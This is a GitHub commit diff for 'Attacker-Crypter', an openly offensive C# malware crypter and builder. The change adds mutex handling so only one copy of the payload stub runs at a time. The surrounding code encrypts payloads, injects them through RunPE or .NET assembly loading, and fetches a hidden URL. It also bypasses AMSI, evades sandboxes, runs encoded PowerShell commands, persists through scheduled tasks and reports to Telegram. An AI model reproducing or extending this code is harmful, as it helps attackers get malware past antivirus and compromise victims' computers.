Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
TheNewAttacker64 committed May 3, 2023
1 parent 3260bb2 commit c43dfc4
Show file tree
Hide file tree
Showing 4 changed files with 145 additions and 21 deletions.
51 changes: 51 additions & 0 deletions attackercrypter/Form1.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

50 changes: 35 additions & 15 deletions attackercrypter/Form1.cs
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,12 @@ public Form1()

}


public static string GenerateMutexName(string prefix)
{
int processId = Process.GetCurrentProcess().Id;
string uniqueId = Guid.NewGuid().ToString("N");
return $"{prefix}_{processId}_{uniqueId}";
}
public static string Encrypt(byte[] plainBytes, string base64Key, string base64IV)
{
byte[] key = Convert.FromBase64String(base64Key);
Expand Down Expand Up @@ -157,6 +162,10 @@ private void button2_Click(object sender, EventArgs e)
MessageBox.Show("Please choose your payload architecture x64 or x32");

}
else if (string.IsNullOrEmpty(mutex.Text))
{
MessageBox.Show("Please Generate a Mutex");
}



Expand Down Expand Up @@ -187,7 +196,7 @@ private void button2_Click(object sender, EventArgs e)
Params.ReferencedAssemblies.Add(typeof(System.Linq.Enumerable).Assembly.Location);
Params.ReferencedAssemblies.Add("System.Drawing.dll");


Source = Source.Replace("$MUTEX", mutex.Text);

if (Sleeptime.Checked)
{
Expand All @@ -212,7 +221,8 @@ private void button2_Click(object sender, EventArgs e)


}
else if (checkBox2.Checked && radioButton2.Checked) {
else if (checkBox2.Checked && radioButton2.Checked)
{
Source = Source.Replace("public static int taskm = 0;", $"public static int taskm = {numericUpDownSc.Value.ToString()};");
Source = Source.Replace("public static bool istask = false;", "public static bool istask = true;");

Expand Down Expand Up @@ -247,13 +257,13 @@ private void button2_Click(object sender, EventArgs e)
Source = Source.Replace("$chatid", chatid);
Source = Source.Replace("public static bool istelegramnotify = false;", "public static bool istelegramnotify = true;");
}



}



}
if (sock.Checked)
{
Expand Down Expand Up @@ -291,7 +301,7 @@ private void button2_Click(object sender, EventArgs e)
Source = Source.Replace("public static bool ispwcommand = false;", "public static bool ispwcommand = true;");
byte[] bytes = System.Text.Encoding.Unicode.GetBytes(powershellcommand.Text);
string encodedCommand = System.Convert.ToBase64String(bytes);
Source = Source.Replace("$command",encodedCommand );
Source = Source.Replace("$command", encodedCommand);
}
if (Amsi.Enabled == true)
{
Expand All @@ -300,25 +310,25 @@ private void button2_Click(object sender, EventArgs e)

if (Injection.SelectedItem.ToString() == "AssemblyLoad(.Net)")
{
MessageBox.Show("Note: This injection only works with .net files", "Attacker-Crypter",MessageBoxButtons.OK, MessageBoxIcon.Warning);
MessageBox.Show("Note: This injection only works with .net files", "Attacker-Crypter", MessageBoxButtons.OK, MessageBoxIcon.Warning);
Source = Source.Replace("public static bool isdotnetload = false;", "public static bool isdotnetload = true;");

}
else if(Injection.SelectedItem.ToString().ToUpper()== "RUNPE" && runpecheck.Checked == false)
else if (Injection.SelectedItem.ToString().ToUpper() == "RUNPE" && runpecheck.Checked == false)
{
MessageBox.Show("Please enable and configure RunPE Settings", "Attacker-Crypter", MessageBoxButtons.OK, MessageBoxIcon.Warning);
everytihnggood = 0;
}
else if (Injection.SelectedItem.ToString().ToUpper() == "RUNPE" && runpecheck.Checked == true)
{

if (isNet.Checked == true)
{
Source = Source.Replace("public static bool isNet = false;", "public static bool isNet = true;");
Source = Source.Replace("#DOTNETINJECTPATH", Netinjectionpath.SelectedItem.ToString());

}
else if(isNative.Checked == true)
else if (isNative.Checked == true)
{
Source = Source.Replace("public static bool isNative = false;", "public static bool isNative = true;");

Expand Down Expand Up @@ -391,7 +401,7 @@ private void button2_Click(object sender, EventArgs e)
Main = Main.Replace("$URL", Convert.ToBase64String(Encoding.UTF8.GetBytes(textBox4.Text)));
Main = Main.Replace("$key", textBox2.Text);
Main = Main.Replace("$IV", textBox3.Text);
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Main, Source,RunPE32,RunPE64);
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Main, Source, RunPE32, RunPE64);
if (Results.Errors.Count > 0)
{

Expand All @@ -409,13 +419,13 @@ private void button2_Click(object sender, EventArgs e)
everytihnggood = 0;
return;
}











}
Expand Down Expand Up @@ -533,5 +543,15 @@ private void pictureIcon_Click(object sender, EventArgs e)
{

}

private void label15_Click(object sender, EventArgs e)
{

}

private void mutexgen_Click(object sender, EventArgs e)
{
mutex.Text = GenerateMutexName("attackercrypter");
}
}
}
64 changes: 58 additions & 6 deletions attackercrypter/Resources/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,42 @@ public struct StartupInfo
[FieldOffset(64)]
public ushort wShowWindow;
}


static Mutex hotMutex()
{
var keyword = config.Mutex;
Mutex mutex = null;

try
{

mutex = Mutex.OpenExisting(keyword);
}
catch (WaitHandleCannotBeOpenedException)
{
mutex = new Mutex(false, keyword);
}

if (mutex.WaitOne(TimeSpan.Zero, true))
{
return mutex;
}
else
{
mutex.Close();
return null;
}
}

static void sayebMutex(Mutex mutex)
{
if (mutex != null)
{
mutex.ReleaseMutex();
mutex.Dispose();
}
}
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
Expand Down Expand Up @@ -416,13 +452,29 @@ static string niklhaomha(string zebi)
[STAThread]
static void Main()
{
Console.WriteLine("Normal Task");
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
var mutexstep = hotMutex();
if (mutexstep != null)
{
try
{

Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);

Sandboxzebizebi();
Thread.Sleep(1000);
niklhaomha("3ASBA");
Sandboxzebizebi();
Thread.Sleep(1000);
niklhaomha("3ASBA");

}
finally
{
sayebMutex(mutexstep);
}
}
else
{
Environment.Exit(0);
}



Expand Down
1 change: 1 addition & 0 deletions attackercrypter/Resources/config.cs
Original file line number Diff line number Diff line change
Expand Up @@ -39,5 +39,6 @@ internal class config

public static string dotnetipath = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "#DOTNETINJECTPATH");
public static string command = "$command";
public static string Mutex = "$MUTEX";
}
}

0 comments on commit c43dfc4

Please sign in to comment.